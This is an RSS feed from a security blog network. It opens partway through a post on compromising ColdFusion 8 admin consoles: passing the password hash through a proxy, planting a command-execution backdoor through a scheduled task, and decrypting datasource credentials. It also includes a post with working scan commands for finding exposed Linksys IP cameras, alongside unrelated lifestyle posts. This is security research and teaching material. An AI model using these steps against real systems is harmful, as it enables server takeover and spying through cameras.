<li>If the admin password was stored encrypted (actually CF8 hashes the admin password using the SHA1 algorithm, similar to CF MX7), the attacker then attempts to crack it via an offline password cracking attack or <a rel="nofollow" target="_blank" href="http://passcracking.com/">rainbow table</a> <a rel="nofollow" target="_blank" href="http://hashcrack.com/">lookup</a>. Note that the default setting in ColdFusion 8 is <code>encrypted=true</code> as per <code>password.properties</code> file. Otherwise, if the password is stored unencrypted (<code>encrypted=false</code>), there would be no need for password cracking.</li>
<li><strong>UPDATE:</strong> as suggested by <a rel="nofollow" target="_blank" href="http://blog.teusink.net/">Niels Teusink</a>, an attacker could login as the CF administrator without needing to crack the SHA1 hash. I verified his observation and can confirm it works well. You can follow these steps (tested on Firefox 3.6.8) to login using the SHA1 hash. i.e.: no need to crack the password hash: <ol><li>Configure your favorite MITM proxy &#8211; e.g. <a rel="nofollow" target="_blank" href="http://portswigger.net/proxy/">Burp</a> &#8211; to capture traffic between your browser and target CF admin console</li><li>Enter hash in password field of login form (usually located on <code>/CFIDE/administrator/enter.cfm</code>)</li><li>Type the following on your browser&#8217;s address bar and press enter (make sure JavaScript is enabled on your browser): <code>javascript:hex_hmac_sha1(document.loginform.salt.value,document.loginform.cfadminPassword.value)</code></li><li>Record value. e.g. <code>AFA9C9D917916DE6CE05C1BFEC0470E07A246CB0</code></li><li>Press browser&#8217;s Back button</li><li>Press Login on the login form (trapping/intercept mode should be enabled on your MITM proxy at this point)</li><li>Trap the login request and replace the value of the <code>cfadminPassword</code> parameter with the value recorded above</li><li>Forward request</li></ol></li>
<li>At this point, the attacker would be able to login as a CF admin and upload a <a rel="nofollow" target="_blank" href="http://michaeldaw.org/projects/web-backdoor-compilation">malicious CFM script</a> that would allow him to run remote commands (SYSTEM privileges by default). Uploading files to a CF server via the administrator console is a bit counter-intuitive. The attacker would basically add a scheduled task that would download cfexec.cfm to the server&#8217;s webroot <div class="screen"><a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/static/blog/2010/08/backdoor_task.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/backdoor_task-170x150.png" alt="" title="CF Backdoor Task PNG" width="170" height="150" class="alignnone size-thumbnail wp-image-3705"/></a></div></li>
<li>At this point, the attacker has gained full control of the underlying Windows OS as the CF service runs with SYSTEM privileges by default <div class="screen"><a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/static/blog/2010/08/command_execution2.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/command_execution2-362x150.png" alt="" title="CF Command Execution PNG" width="362" height="150" class="alignnone size-thumbnail wp-image-3725"/></a> <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/static/blog/2010/08/command_output.png"><img src="http://www.gnucitizen.org/static/blog/2010/08/command_output-300x90.png" alt="" title="CF Command Output PNG" width="300" height="90" class="alignnone size-medium wp-image-3700"/></a></div></li>
</ol>

<p>If the CF admin password is hashed and the attacker is unable to crack it, he could always try to obtain the database connection credentials (<code>C:&#92;ColdFusion8&#92;lib&#92;neo-datasource.xml</code>) which can be <a rel="nofollow" target="_blank" href="http://hexale.blogspot.com/2008/07/how-to-decrypt-coldfusion-datasource.html">easily decrypted</a> and then directly authenticate to the backend DB server. This however wouldn&#8217;t normally be possible on a firewalled environment where the back-end DB server is not directly exposed to the Internet. Network access controls are your friends!</p>

<h3>Post Updates</h3>

<ul>
<li><strong>16/09/2010</strong> &#8211; new path added as part of blacklisting solution</li>
<li><strong>16/09/2010</strong> &#8211; added trick to login without cracking the CF admin password hash</li>
<li><strong>16/09/2010</strong> &#8211; mentioned recently published exploit code for the CF traversal vulnerability</li>
<li><strong>18/09/2010</strong> &#8211; fixed typos and mentioned release of exploit details by ProCheckUp</li>
</ul><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/hW7xDNKI7sM" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>1ST European Edition of HITB Coming Up!</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/ACja2OSf3Bs/</link>
         <description>In case you haven&amp;#8217;t heard yet, HITBSecConf is hosting the first European Edition of their conference in Amsterdam during 1st-2nd July &amp;#8217;10. The history of the HITB conferences can be traced back to 2002, the year in which the first ever edition of HITB took place in Malaysia. Since then, HITB has grown to become the biggest technical computer security event in Asia and has extended their presence to the Middle East and now Europe. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3656</guid>
         <pubDate>Thu, 24 Jun 2010 09:16:22 +0000</pubDate>
         <content:encoded><![CDATA[<p>In case you haven&#8217;t heard yet, HITBSecConf is hosting the first European Edition of their <a rel="nofollow" target="_blank" href="http://conference.hackinthebox.org/hitbsecconf2010ams/?page_id=24">conference</a> in Amsterdam during 1st-2nd July &#8217;10. The history of the HITB conferences can be traced back to 2002, the year in which the first ever edition of HITB took place in Malaysia. Since then, HITB has grown to become the biggest technical computer security event in Asia and has extended their presence to the Middle East and now Europe.</p>

<blockquote>HITB aims to congregate members of the security community from all circles. From academics, and well known infosec personalities to loner-type independent researchers, and hobbyists just to name a few. I&#8217;ve personally attended past editions in Kuala Lumpur and Dubai and loved that the attendees and speakers came from a wide variety of backgrounds. If you don&#8217;t believe me, check out the <a rel="nofollow" target="_blank" href="http://photos.hackinthebox.org/gallery/">pix</a> of past conferences and you&#8217;ll find sec nerds and corporate professionals all partying in unison. Indeed, the HITB conferences are not only educational, but among the most fun sec events I&#8217;ve had the chance to attend.</blockquote>

<p>Registration is still open, so you are still on time to take advantage of a great speaker lineup and one of the _de facto_ party capitals of Europe. The conference agenda can be found <a rel="nofollow" target="_blank" href="http://conference.hitb.org/hitbsecconf2010ams/agenda.pdf">here</a>.  I&#8217;m really looking forward to Niels Teusink&#8217;s <a rel="nofollow" target="_blank" href="http://blog.teusink.net/2010/05/presenting-at-hack-in-box-2010.html">presentation</a> on hacking Logitech wireless presenters and the release of detailed examples of JIT-spray techniques against IE8, FF3.6 by <a rel="nofollow" target="_blank" href="http://dsecrg.com/">Alexey Sintsov</a> (originally <a rel="nofollow" target="_blank" href="http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Slides-v2.pdf">discussed</a> by Dion Blazakis).</p>

<p>One more thing, almost forgot: there will be a bring-your-own-laptop <a rel="nofollow" target="_blank" href="http://conference.hitb.org/hitbsecconf2010ams/?page_id=41">web hacking challenge</a> at HITB EU.</p>

<p><em>See you at HITB Amsterdam next month!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/ACja2OSf3Bs" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Exit Through the Gift Shop</title>
         <link>http://www.hakiri.org/blog/exit-through-the-gift-shop/</link>
         <description>&amp;#8230; is a new movie from the notorious street artist Banksy. The trailer looks very interesting. Here it is:

---recent posts from the gnucitizen network:Landing ProxifyFuzzing XML and JSON Pt.1You and Your ResearchWell Websecurify Runs on The iPhoneStuxnet</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=695</guid>
         <pubDate>Wed, 07 Apr 2010 13:43:41 +0000</pubDate>
         <content:encoded><![CDATA[<p>&#8230; is a new movie from the notorious street artist <q>Banksy</q>. The trailer looks very interesting. Here it is:</p>

<div class="screen"><embed src="http://www.youtube.com/v/a0b90YppquE&#038;color1=0xb1b1b1&#038;color2=0xcfcfcf&#038;hl=en_US&#038;feature=player_embedded&#038;fs=1" type="application/x-shockwave-flash" width="640" height="385"></iframe></div><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Jerry Rice on Success</title>
         <link>http://www.hakiri.org/blog/jerry-rice-on-success/</link>
         <description>There is a nice story about Jerry Rice, american football player, running in the Sunday, February 9, 2010 print edition of the San Francisco Chronicle’s. The story is about the secrets of success. [...]</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=687</guid>
         <pubDate>Fri, 12 Mar 2010 08:58:37 +0000</pubDate>
         <content:encoded><![CDATA[<p>There is a nice story about Jerry Rice, american football player, running in the Sunday, February 9, 2010 print edition of the San Francisco Chronicle’s. The story is about the secrets of success.</p>

<p>In summary the secret of success according to Jerry Rice is the following:</p>

<ul>
<li>Put effort</li>
<li>You will have to struggle</li>
<li>Persist despite the setbacks</li>
<li>Strategize and make your choices</li>
<li>Choose difficult tasks</li>
<li>Keep learning and trying to improve</li>
</ul>

<p>According to Carol Dweck&#8217;s research (read <a rel="nofollow" target="_blank" href="http://www.amazon.com/Mindset-Psychology-Success-Carol-Dweck/dp/1400062756">MindSet</a>) success in nutshell is all about in the trying and the doing. Apart from the <q>putting effort</q> and <q>to keep learning</q>, Carol Dweck also suggests that another success ingredient is to <q>capitalise on mistakes</q> and to <q>comfront deficiencies as they allow you to learn more</q></p>

<p><em>At the end of the day it is down to what works for you. There isn&#8217;t universal truth.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Time Blocking</title>
         <link>http://www.hakiri.org/blog/time-blocking/</link>
         <description>This is an interesting video which discusses why you should avoid distractions while working in order to stay as much productive as possible.

---recent posts from the gnucitizen network:Landing ProxifyFuzzing XML and JSON Pt.1You and Your ResearchWell Websecurify Runs on The iPhoneStuxnet</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=682</guid>
         <pubDate>Tue, 09 Mar 2010 14:21:54 +0000</pubDate>
         <content:encoded><![CDATA[<p>This is an interesting video which discusses why you should avoid distractions while working in order to stay as much productive as possible.</p>

<div class="screen"></div><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Hacking Linksys IP Cameras (pt 6)</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/I8vV1at9QvQ/</link>
         <description>This article is a continuation of the following GNUCITIZEN articles: here, here, here, here and here.

As we know, there are several ways one could go about hunting for IP cameras on the net. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3415</guid>
         <pubDate>Wed, 24 Feb 2010 07:18:29 +0000</pubDate>
         <content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN articles: <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">here</a>, <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">here</a>, <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">here</a>, <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/">here</a> and <a rel="nofollow" target="_blank" href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-5/">here</a>.</em></p>

<p>As we know, there are several ways one could go about hunting for IP cameras on the net. The slowest way would be to portscan random IP addresses for certain ports and programmatically detect if the web interface of a given camera was available on the open ports found. This method definitely works, but it can be very time consuming as it consists of scanning random IP addresses hoping that we&#8217;ll eventually come across the type of device we&#8217;re interested in.</p>

<p>The second method, which would be much faster in finding our target devices, would be to use a <a rel="nofollow" target="_blank" href="http://www.google.co.uk/search?ie=UTF-8&#038;q=inurl:/img/vr.htm">search engine</a> and query content that is unique to our target devices (e.g.: URLs, HTML title). This method, popularized by <a rel="nofollow" target="_blank" href="http://www.hackersforcharity.org/ghdb/?function=summary&#038;cat=18">GHDB</a> is simple and effective. The only issue I find with this strategy is that many of these IP cameras found happen to respond very slowly. This is probably due to other curious individuals running the same searches and accessing the same cameras.</p>

<p>The third method which would allow you to find more hidden Linksys IP cameras (i.e.: not cached by search engines a.k.a. the <a rel="nofollow" target="_blank" href="http://www.ericdigests.org/2002-2/hidden.htm">hidden web</a>), would consist of bruteforcing subdomains within dynamic domain names (DDNS) used by our target devices (Linksys IP cameras in this case). For instance, the following are some of the dynamic domain names supported by the WVC54GCA and WVC80N Linksys IP camera models:</p>

<ul>
<li><code>linksys-cam.com</code></li>
<li><code>mylinksyscamera.com</code></li>
<li><code>mylinksyshome.com</code></li>
<li><code>mylinksyscam.com</code></li>
<li><code>mylinksysview.com</code></li>
<li><code>linksysremotecam.com</code></li>
<li><code>linksysremoteview.com</code></li>
<li><code>linksyshomemonitor.com</code></li>
</ul>

<h3>Camera discovery process through subdomain bruteforcing</h3>

<p>We first save the aforementioned domains in a file, <code>doms</code> in this case. Then we use <a rel="nofollow" target="_blank" href="http://code.google.com/p/dnsmap/">dnsmap</a> to bruteforce subdomains for each of the domains included in <code>doms</code>.</p>

<p>Using dnsmap&#8217;s built-in wordlist:</p>

<pre><code>$ for i in `cat doms`;do dnsmap $i -r ~/ -i 64.14.13.199,216.39.81.84&done;</code></pre>

<p>Using a user-supplied wordlist, <code>wordlist_TLAs.txt</code> in this case, which is a three-letter acronym wordlist included with dnsmap v0.30:</p>

<pre><code>$ for i in `cat doms`;do dnsmap $i -w wordlist_TLAs.txt -r ~/ -i 64.14.13.199,216.39.81.84&done;</code></pre>

<p><em>Note: dnsmap&#8217;s <code>-i</code> option allows ignoring user-supplied IP addresses from the results. In this case, 64.14.13.199 and 216.39.81.84 belong to the <a rel="nofollow" target="_blank" href="http://www.tzo.com/">DDNS service provider</a>, and would therefore be regarded as false positives in this case (we&#8217;re only interested in IP cameras setup by their respective owners after all).</em> For more info on how to use dnsmap, checkout the <a rel="nofollow" target="_blank" href="http://code.google.com/p/dnsmap/source/browse/trunk/README.txt">README</a> file.</p>

<p>We then parse the IP addresses of the subdomains discovered by dnsmap:</p>

<pre><code>$ grep &#92;# dnsmap*.txt | awk '{print $4}' | sort | uniq &gt; ips.txt</code></pre>

<p>Next, we scan for ports that could potentially be used by a Linksys IP camera web server. In this case, we choose TCP ports 80, 1024 and 1025 as candidates:</p>

<pre><code>$ sudo nmap -v -T4 -n -P0 -sS -p80,1024,1025 -iL ips.txt -oA nmap_http_ports.`date +%Y-%m-%d-%H%M%S`</pre></code>

<p>This leaves us with a lot of discovered services, but we don't quite yet know which of them correspond to actual Linksys IP cameras web interfaces. There are many ways to fingreprint the web server of a Linksys IP camera. In this case we chose to create our own <a rel="nofollow" target="_blank" href="http://freeworld.thc.org/thc-amap/">amap</a> response signature, and then scan the open ports with amap.</p>

<p>Before amap is capable of identifying our target Linksys IP cams, the following response signature needs to be added to <code>appdefs.resp</code>, and amap then needs to be recompiled. Otherwise amap won't take the new signature into account:</p>

<pre><code>http-linksys-cam::tcp::^HTTP/.*&#92;nServer: thttpd/.*Accept-Ranges: bytes.*WVC</code></pre>

<p>Please note that <em>the previous amap response signature was only tested against the WVC54GCA and WVC80N Linksys IP camera models.</em> So I'm not sure if it will work against other models. You've been warned!</p>

<p>Once recompiled, amap can be used to identify Linksys IP cameras from nmap's open ports results. </p>

<pre><code>$ amap -i nmap_http_ports.2010-02-22-102001.gnmap -R -S -o amap_results.`date +%Y-%m-%d-%H%M%S`</code></pre>

<p>We finally parse the IP addresses and open ports for all discovered Linksys IP cameras:</p>

<pre><code>$ grep http-linksys-cam amap_results.2010-02-22-102253 | awk '{print $3}' | cut -d &#92;/ -f1
x.x.167.245:1024
x.x.228.231:1025
x.x.228.231:80
x.x.64.22:80
x.x.206.70:1024
x.x.31.4:1024
x.x.164.28:1024
<em>[snip]</em></code></pre>

<p>At this point we have accomplished the task of creating a list of Linksys IP cameras without resorting to search engines or scanning random IP addresses. In order to discover more Linksys cameras, a more comprehensive wordlist would need to be used with dnsmap.</p>

<p>Of course, even further automation would be possible. For instance, an attacker may wish to programmatically identify which Linksys cameras from the previous list allowing video viewing to unauthenticated users:</p>

<pre><code>$ amapfile=amap_results.2010-02-22-102253;for i in `grep http-linksys-cam $amapfile | awk '{print $3}' | cut -d &#92;/ -f1`;do url="http://$i/img/main.cgi?next_file=main.htm";if curl --connect-timeout 2 -s -I --url $url | grep ^"HTTP/1.1 501"&gt;/dev/null;then echo $url;fi;done;
x.x.206.70:1024/img/main.cgi?next_file=main.htm
x.x.105.221:1024/img/main.cgi?next_file=main.htm
x.x.105.221:80/img/main.cgi?next_file=main.htm
x.x.181.195:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1025/img/main.cgi?next_file=main.htm
x.x.30.196:1025/img/main.cgi?next_file=main.htm
<em>[snip]</em></code></pre>

<p><em>In addition to automatically checking for anonymous video viewing on all cameras found, other tasks such as checking for default credentials (<code>admin</code>/<code>admin</code>) could also be scripted, although this will NOT be included in this post (or any other at GNUCITIZEN).</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/I8vV1at9QvQ" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Dnsmap v0.30 is now out!</title>
         <link>http://feedproxy.google.com/~r/gnucitizen/~3/jfQ27_LNXEw/</link>
         <description>After working on dnsmap for a few months whenever time allowed, I decided there were enough additional goodies to make version 0.30 a new public release. Let me just say that a lot of the bugs that have been fixed, and features that have been added to this version would not be possible without the feedback from great folks such as Borys Lacki (www.bothunters.pl), Philipp Winter (7c0.org) and meathive (kinqpinz.info). Thanks guys, your feedback was highly valuable to me. [...]</description>
         <guid isPermaLink="false">https://www.gnucitizen.org/?p=3381</guid>
         <pubDate>Sat, 20 Feb 2010 21:08:48 +0000</pubDate>
         <content:encoded><![CDATA[<p>After working on <a rel="nofollow" target="_blank" href="http://dnsmap.googlecode.com/">dnsmap</a> for a few months whenever time allowed, I decided there were enough additional goodies to make <code>version 0.30</code> a new public release. Let me just say that a lot of the bugs that have been fixed, and features that have been added to this version would not be possible without the feedback from great folks such as Borys Lacki (<code>www.bothunters.pl</code>), Philipp Winter (<code>7c0.org</code>) and meathive (<code>kinqpinz.info</code>). Thanks guys, your feedback was highly valuable to me.</p>

<h3>New Features</h3>

<p>Anyways, the following are some of the new features included:</p>

<ul>
<li>IPv6 support</li>
<li>Makefile included</li>
<li>delay option (-d) added. This is useful in cases where dnsmap is killing your bandwidth</li>
<li>ignore IPs option (-i) added. This allows ignoring user-supplied IPs from the results. Useful for domains which cause dnsmap to produce false positives</li>
<li>changes made to make dnsmap compatible with OpenDNS</li>
<li>disclosure of internal IP addresses (RFC 1918) are reported</li>
<li>updated built-in wordlist</li>
<li>included a standalone three-letter acronym (TLA) subdomains wordlist</li>
<li>domains susceptible to <a rel="nofollow" target="_blank" href="http://snipurl.com/etbcv">same site scripting</a> are reported</li>
<li>completion time is now displayed to the user</li>
<li>mechanism to attempt to bruteforce wildcard-enabled domains</li>
<li>unique filename containing timestamp is now created when no specific output filename is supplied by user</li>
<li>various minor bugs fixed</li>
</ul>

<p>For those who have never used dnsmap, dnsmap is a command line tool originally released in 2006 which helps discover target subdomains and IP ranges during the initial stages of an infrastructure pentest. dnsmap is a passive(ish) discovery tool meant to be used before an actual active attack. It&#8217;s an alternative to other discovery techniques such as whois lookups, scanning large IP ranges, etc &#8230; Run dnsmap and you should be able spot netblocks of a target organization in a relatively short period of time.</p>

<blockquote>Dnsmap is open source and is known to work on Linux, FreeBSD and Windows using Cygwin, although it has mostly been tested on Linux.</blockquote>

<p><em>The major drawback is lack of multi-threading support, which I&#8217;m hoping will be included in the next public release. Life is busy these days, but I&#8217;ll try to spend some time on this project when time allows and inspiration is available!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p><img src="http://feeds.feedburner.com/~r/gnucitizen/~4/jfQ27_LNXEw" height="1" width="1"/>]]></content:encoded>
      </item>
      <item>
         <title>Leadership Lessons from Dancing Guy</title>
         <link>http://www.hakiri.org/blog/leadership-lessons-from-dancing-guy/</link>
         <description>What lessons can we learn from the crazy dancing guy?

---recent posts from the gnucitizen network:Landing ProxifyFuzzing XML and JSON Pt.1You and Your ResearchWell Websecurify Runs on The iPhoneStuxnet</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=679</guid>
         <pubDate>Mon, 15 Feb 2010 20:45:18 +0000</pubDate>
         <content:encoded><![CDATA[<p>What lessons can we learn from the crazy dancing guy?</p>

<div class="screen"><embed src="http://www.youtube.com/v/fW8amMCVAJQ&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" width="560" height="340"></iframe></div><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Augmented-reality Maps</title>
         <link>http://www.hakiri.org/blog/augmented-reality-maps/</link>
         <description>Well, augmented-reality is pretty much one of the hot topics these days. Here is a video of Blaise Aguera y Arcas demoing the new feature that come in MS Bing Maps.



Although some of the feature look like a full copy of google maps, it nice to see that MS made the effort to go further to do more.---recent posts from the gnucitizen network:Landing ProxifyFuzzing XML and JSON Pt.1You and Your ResearchWell Websecurify Runs on The iPhoneStuxnet</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=676</guid>
         <pubDate>Sun, 14 Feb 2010 09:11:32 +0000</pubDate>
         <content:encoded><![CDATA[<p>Well, augmented-reality is pretty much one of the hot topics these days. Here is a video of Blaise Aguera y Arcas demoing the new feature that come in MS Bing Maps.</p>

<div class="screen"> <embed src="http://video.ted.com/assets/player/swf/EmbedPlayer.swf" type="application/x-shockwave-flash" width="446" height="326"></iframe></div> 

<p>Although some of the feature look like a full copy of google maps, it nice to see that MS made the effort to go further to do more.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Ed Catmull on “Keep Your Crises Small”</title>
         <link>http://www.hakiri.org/blog/ed-catmull-on-keep-your-crises-small/</link>
         <description>I stumbled upon the following video by browsing twitter. I find it interesting and quite enlightening.



Pixar is truly remarkable company and there is a lot one can learn from them.---recent posts from the gnucitizen network:Landing ProxifyFuzzing XML and JSON Pt.1You and Your ResearchWell Websecurify Runs on The iPhoneStuxnet</description>
         <guid isPermaLink="false">https://www.hakiri.org/?p=672</guid>
         <pubDate>Sat, 13 Feb 2010 16:13:41 +0000</pubDate>
         <content:encoded><![CDATA[<p>I stumbled upon the following video by browsing twitter. I find it interesting and quite enlightening.</p>

<div class="screen"><embed src="http://www.youtube.com/v/k2h2lvhzMDc&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" width="425" height="344"></iframe></div> 

<p>Pixar is truly remarkable company and there is a lot one can learn from them.</p><p>---<br/>recent posts from the gnucitizen network:</p><p><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/OzY5aID9zNU/">Landing Proxify</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/WFmSjSbrck4/">Fuzzing XML and JSON Pt.1</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/PSDmtHjr23M/">You and Your Research</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/xcMw65rISY4/">Well Websecurify Runs on The iPhone</a><br/><a rel="nofollow" target="_blank" href="http://feedproxy.google.com/~r/gnucitizen/~3/Nt7uWV9YX6Y/">Stuxnet</a><br/></p>]]></content:encoded>
      </item>
      <item>
         <title>Was Huxley right?</title>
         <link>http://www.hakiri.org/blog/was-huxley-right/</link>
         <description>I stumbled upon the following cartoon on twitter. I have read &amp;#8220;1984&amp;#8221; but not &amp;#8220;Brave New World&amp;#8220;. Will be visiting the local library soon.



